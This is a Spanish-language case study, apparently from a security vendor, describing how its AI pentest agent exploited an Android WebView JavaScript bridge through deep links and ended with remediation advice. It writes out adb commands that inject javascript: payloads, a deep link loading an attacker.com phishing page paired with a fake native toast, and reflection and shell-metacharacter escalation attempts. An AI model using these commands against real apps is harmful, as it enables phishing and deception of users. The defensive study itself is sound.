Riesgos de addJavascriptInterface en Android WebView
Caso práctico: el motor de pentesting con IA de Ostorlab encuentra un puente JavaScript de Android WebView accesible mediante deep links y lo encadena hasta manipular la interfaz nativa.
Introducción
Las aplicaciones móviles híbridas suelen apoyarse en un «puente» (bridge) para que el contenido web pueda comunicarse con la capa nativa de Android. Aunque esto habilita funciones potentes, como las notificaciones nativas o el acceso al hardware, introduce una superficie de ataque considerable. Si un objeto nativo de Java o Kotlin se expone a un contexto JavaScript no confiable, puede dar lugar a la manipulación de la interfaz, a ingeniería social o incluso a la ejecución remota de código.
El método WebView.addJavascriptInterface(Object object, String name) inyecta un objeto proporcionado en el contexto JavaScript del WebView, lo que permite que JavaScript invoque métodos nativos anotados explícitamente con @JavascriptInterface. Históricamente, esta API fue el origen de una vulnerabilidad crítica en las versiones de Android anteriores a la 4.2, en las que la reflexión sin restricciones permitía a JavaScript lograr una ejecución remota de código universal dentro del proceso de la aplicación. Las versiones modernas de Android mitigan esta clase de problemas al exigir anotaciones explícitas y restringir el acceso reflexivo. Sin embargo, si los métodos expuestos realizan operaciones sensibles o si se permite ejecutar JavaScript no confiable dentro del WebView, la interfaz aún puede abusarse para cruzar los límites de confianza y manipular el comportamiento nativo de la aplicación.
Comprender la exposición del puente JavaScript
Para entender por qué este hallazgo es significativo, debemos fijarnos en dos componentes habituales de Android que, combinados, crean una potente cadena de explotación: la interfaz JavaScript y el manejo de Intents de deep links.
1. La interfaz JavaScript
En Android, el componente WebView permite a las aplicaciones mostrar contenido web. Para que ese contenido web pueda «hablar» de vuelta con el código nativo de Android, los desarrolladores utilizan un «puente» (Bridge) creado mediante el método addJavascriptInterface.
Cuando un desarrollador llama a webView.addJavascriptInterface(new MyWebAppInterface(), "Android"), cualquier JavaScript que se ejecute dentro de ese WebView puede llamar a los métodos de la clase Java MyWebAppInterface como si fueran funciones JS nativas (por ejemplo, window.Android.showToast(...)).
El riesgo: si el WebView carga un sitio web no confiable (mediante un ataque de intermediario o un enlace malicioso), ese sitio obtiene la capacidad de activar código Java nativo.
2. Inyección mediante deep links
Los deep links permiten que fuentes externas (como un navegador u otra aplicación) abran pantallas concretas dentro de una aplicación mediante una URI (por ejemplo, myapp://profile).
Cuando la «puerta» de una aplicación está mal protegida, puede aceptar una URI javascript: como deep link. Por ejemplo:
intent://target_activity?url=javascript:alert(window.Android.showToast('Hacked'))
Si la aplicación carga a ciegas esta URL en su WebView, no se limita a cargar una página web: está ejecutando código arbitrario directamente dentro del contexto seguro de la aplicación.
Cuando estos dos elementos confluyen, un atacante puede «meter la mano» en la aplicación de forma remota. Al enviar un enlace manipulado a un usuario, el atacante fuerza la apertura de la aplicación, inyecta JavaScript malicioso en el WebView interno y luego usa el puente para manipular las funciones nativas.
Descripción general del motor de pentesting de Ostorlab
El Ostorlab Pentest Engine es un agente de seguridad ofensiva autónomo, diseñado para emular el razonamiento y la metodología de un pentester humano experto con la potencia de la inteligencia artificial. A diferencia de los escáneres tradicionales, que se basan en comprobaciones estáticas y basadas en reglas, el motor utiliza un marco dinámico de «Reason and Act» para explorar la superficie de ataque de una aplicación.
Cómo funciona: el bucle autónomo
El motor opera mediante un ciclo continuo e iterativo que le permite abordar vulnerabilidades complejas como la exposición del puente JavaScript descrita en este caso práctico:
- Modelado de riesgos y generación de hipótesis: con metodologías como P.A.S.T.A., el motor construye primero un modelo de amenazas del objetivo. Genera hipótesis específicas (por ejemplo, «¿Puede este deep link ejecutar JavaScript para alcanzar un puente nativo?») en lugar de limitarse a lanzar payloads indiscriminadamente.
- Subagentes especializados (ejecutores): el motor orquesta una flota de subagentes especializados a través de la plataforma Ostorlab OXO. Estos ejecutores utilizan herramientas como el monkey tester, crawlers, fuzzers y motores de taint.
- Instrumentación en tiempo de ejecución e interacción dinámica: el motor opera en un entorno de ejecución real y controlado, aplicando instrumentación a distintas pilas tecnológicas (Java, Swift, C/C++, Flutter). Esto le permite interceptar («hook») comportamientos nativos, recorrer flujos de interfaz complejos, incluidas las áreas autenticadas con soporte de 2FA/OTP, e inspeccionar los datos a medida que circulan entre la capa web y la nativa en tiempo real.
- Validación adversarial: para mejorar la precisión y reducir los falsos positivos, el motor incluye una pasada específica de validación adversarial. Reexamina los hallazgos de forma independiente para confirmar que una vulnerabilidad es reproducible y presenta un riesgo real.
Al mantener una memoria seleccionada de artefactos y observaciones, el motor de pentesting puede «encadenar» hallazgos. En este caso, no se limitó a encontrar un deep link: razonó que el deep link podía usarse como mecanismo de entrega de un payload JavaScript, que a su vez podía interactuar con una interfaz nativa enumerada.
La narrativa del ataque: descubrimiento de la exposición del puente JavaScript
Durante una reciente prueba de benchmark, el Pentest Engine de Ostorlab identificó una brecha en la implementación del WebView de una aplicación híbrida. Al sondear sistemáticamente los manejadores de deep links de la aplicación, descubrió una interfaz JavaScript expuesta que permitía que el JavaScript ejecutado dentro del WebView activara elementos nativos de la interfaz sin el consentimiento explícito del usuario.
Paso 1: descubrimiento y enumeración del puente
El primer objetivo del motor fue mapear la superficie de ataque disponible identificando los objetos nativos inyectados en el contexto JavaScript del WebView.
Descubrimiento del puente: identificar los objetos y métodos de puente expuestos desde el contexto JavaScript. Objetivo: enumerar los métodos accesibles para determinar la superficie de ataque nativa.
Resumen de la ejecución:
El motor usó Object.getOwnPropertyNames() para listar las propiedades del objeto global window e identificó una interfaz personalizada.
Resultado:
Se descubrió un objeto de puente llamado Android. Una enumeración posterior identificó un único método accesible: showToast(String message).
Conclusión: La aplicación expone un puente nativo. Aunque la lista de métodos es mínima, la ausencia de restricciones de origen significa que cualquier página cargada dentro del WebView, incluidas las inyectadas mediante deep links, puede invocar lógica nativa de la interfaz.
Paso 2: validación del vector de inyección
Sabiendo que existía un puente, el motor pasó a identificar un mecanismo para interactuar con él desde una fuente externa no confiable. Descubrió que el manejador de deep links de la aplicación estaba configurado para procesar Intents entrantes sin sanear el esquema de la URI.
Verificar si el puente Android es accesible mediante inyección por deep link usando una URI javascript:. Objetivo: confirmar si el WebView ejecuta código arbitrario procedente de Intents externos.
Resumen de la ejecución:
El motor envió un Intent malicioso a la Activity vulnerable (Activity2) usando un payload javascript: diseñado para llamar al puente descubierto:
adb shell am start -W -a android.intent.action.VIEW -n com.target.app/.Activity2 -d "javascript:Android.showToast('BRIDGE_ACCESS_TEST')".
Resultado:
La aplicación procesó el comando correctamente. Apareció un mensaje toast nativo en la pantalla del dispositivo con el texto «BRIDGE_ACCESS_TEST», y las entradas de Logcat confirmaron la invocación del método desde el paquete com.target.app.
Conclusión:
El vector de inyección queda plenamente validado. Dado que la aplicación no rechaza las URI javascript: o data: que se le pasan mediante Intents, cualquier aplicación externa puede forzar al WebView a ejecutar código que interactúa directamente con la interfaz nativa de Java.
Paso 3: sondeo de escalada (reflexión e inyección)
Con el puente confirmado como accesible, el motor intentó ir más allá de la manipulación de la interfaz para identificar impactos más graves, como la ejecución de código nativo o la inyección de comandos. El objetivo era determinar si el método showToast o el propio puente podían usarse como primitiva para eludir el sandbox de Android.
Intentar eludir el sandbox mediante reflexión o inyección de comandos a través del método showToast para lograr la ejecución de código nativo.
Resumen de la ejecución: El motor probó sistemáticamente varios patrones avanzados de explotación:
- Pruebas de reflexión: intentó acceder al método
getClass()y usarforName('java.lang.Runtime')para ejecutar comandos del sistema. - Inyección de comandos: intentó inyectar metacaracteres de shell y separadores de comandos (por ejemplo,
;,&&,`) en el parámetro deshowToast. - Contaminación de prototipos: intentó inyectar métodos maliciosos en el prototipo del objeto de puente.
Resultado: Todos los intentos de escalada fueron bloqueados:
- Reflexión: se restringió el acceso a
getClass()y fallaron los intentos de encadenar métodos para llegar aRuntime.exec(). - Inyección de comandos: la implementación nativa de
showToasttrató todas las entradas como unCharSequenceliteral y mostró las cadenas maliciosas como texto plano en la pantalla en lugar de ejecutarlas. - Inmutabilidad: se comprobó que el objeto de puente es inmutable, lo que impide la contaminación de prototipos o la sobrescritura de métodos.
Conclusión: Los controles de seguridad a nivel de método son eficaces. Aunque el puente está expuesto, está «implementado de forma segura», lo que limita el impacto a efectos transitorios en la interfaz e impide la escalada a la ejecución de código nativo o a la exfiltración de datos.
Paso 4: confirmación del impacto práctico (la cadena de ingeniería social)
Aunque el motor confirmó que la escalada nativa directa estaba bloqueada, pasó a validar el riesgo práctico para el negocio: la ingeniería social. Aprovechando la capacidad del puente para mostrar elementos nativos de la interfaz, el motor demostró cómo un atacante podría manipular la confianza del usuario para facilitar el robo de credenciales o la distribución de malware.
Ejecutar una cadena de ataque en varias fases que combine contenido de phishing no autenticado con una notificación nativa «oficial» activada a través del puente, para evaluar el impacto de la ingeniería social.
Resumen de la ejecución: El motor orquestó un «Ataque encadenado» de dos fases para simular un escenario de phishing del mundo real:
-
Redirección de phishing: usó un deep link para forzar al WebView a cargar una URL maliciosa externa:
adb shell am start -n com.target.app/.Activity2 -d "https://attacker.com/phishing.html" -
Inyección de una notificación falsa: inmediatamente después de la redirección, activó un mensaje toast nativo urgente a través del puente:
adb shell am start -n com.target.app/.Activity2 -d "javascript:Android.showToast('🔒 New message: Account verification required')"
Resultado: La experiencia del usuario fue secuestrada con éxito. La aplicación abrió una página de phishing mientras mostraba al mismo tiempo una notificación nativa de apariencia oficial. Esto crea una poderosa ilusión de que la solicitud de «verificación de la cuenta» procede de la aplicación local de confianza y no del sitio web malicioso.
Conclusión: Esto confirma un alto potencial de impacto en el negocio y en la privacidad del usuario. Incluso sin exfiltración de datos ni ejecución de código, el puente puede utilizarse para distribuir «scareware» o recolectar credenciales engañando a los usuarios sobre el verdadero estado de la aplicación.
Informe final
1. Resumen ejecutivo
El Ostorlab Pentest Engine descubrió una exposición del puente JavaScript en el componente BankWebViewKt de la aplicación objetivo. El objeto de puente Android se inyecta en el WebView sin ninguna validación de origen ni verificación de la fuente. Esta vulnerabilidad permite que cualquier contexto JavaScript, incluidos los inyectados mediante deep links no autenticados, invoque el método nativo showToast. Aunque el motor confirmó que la ejecución de código nativo y la inyección de comandos están bloqueadas por un sandboxing eficaz a nivel de método, la vulnerabilidad sigue teniendo un impacto alto debido a su potencial para una ingeniería social de alta fidelidad y para el engaño al usuario.
2. Metodología
El motor de pentesting siguió un proceso metódico y de varias etapas para probar la seguridad del puente nativo:
- Descubrimiento del puente: identificó interfaces nativas personalizadas enumerando las propiedades del objeto
windowdentro del WebView. - Análisis del vector: descubrió que
Activity2procesa deep links con URIjavascript:sin sanearlas, lo que ofrece un punto de entrada para código externo. - Análisis estático: localizó con precisión la inyección vulnerable del puente en
com.target.app/BankWebViewKt.java. - Sondeo de escalada: probó sistemáticamente la reflexión de Java, la inyección de comandos y la contaminación de prototipos para determinar la máxima explotabilidad.
- Pruebas de escenarios de impacto: validó el riesgo de ingeniería social encadenando una redirección de phishing con una notificación nativa falsa.
3. Hallazgos
- Exposición sin restricciones de la interfaz JavaScript: el puente
Androidse inyecta en el WebView sin validación de origen, por lo que es accesible desde cualquier página cargada, incluidas las inyectadas mediante deep links. Esto supone un fallo al imponer un límite de confianza adecuado entre el contenido web y la capa nativa. - Deep links sin protección: la aplicación permite que se procesen URI
javascript:ydata:mediante Intents sin sanearlas. Esto permite que aplicaciones externas invoquen directamente los métodos del puente, lo que ofrece un mecanismo directo para manipular la interfaz nativa. - Sandboxing eficaz a nivel de puente: los intentos de escalar la exposición del puente hasta la ejecución de código a nivel de sistema fracasaron. El método
showToasttrata toda la entrada como cadenas literales y el objeto de la interfaz JavaScript es inmutable, lo que impide la reflexión, la contaminación de prototipos o la inyección de comandos. - Sin limitación de frecuencia: el puente permite invocaciones repetidas mediante deep links sin restricciones. Aunque esto no conduce a la ejecución de código, puede habilitar manipulaciones rápidas de la interfaz o notificaciones de «spam», que pueden aprovecharse en escenarios de ingeniería social.
4. Corrección
Para abordar estos hallazgos, se recomendaron las siguientes acciones:
- Eliminar o restringir el acceso: si el puente no es necesario, elimine por completo el bloque
addJavascriptInterface. - Validación de origen: si el puente es necesario, implemente una lista de permitidos estricta de dominios de confianza (por ejemplo, con
SecureWebViewClient) y verifique el origen actual antes de permitir la ejecución de métodos. - Sanear los deep links: actualice el manejador de deep links de
Activity2para rechazar cualquier dato de Intent que empiece por los esquemasjavascript:odata:. - Aplicar medidas de hardening: desactive las funciones innecesarias del WebView, como el acceso a archivos y la depuración en las compilaciones de producción, para reducir la superficie de ataque general.
5. Conclusión
Este caso práctico demuestra que incluso un puente «implementado de forma segura» puede suponer un riesgo de seguridad significativo cuando queda expuesto a entradas externas. Al emular la progresión lógica de un atacante, desde el descubrimiento de la interfaz hasta la elaboración de una cadena funcional de ingeniería social, el Pentest Engine de Ostorlab aportó la evidencia definitiva necesaria para proteger la interfaz híbrida.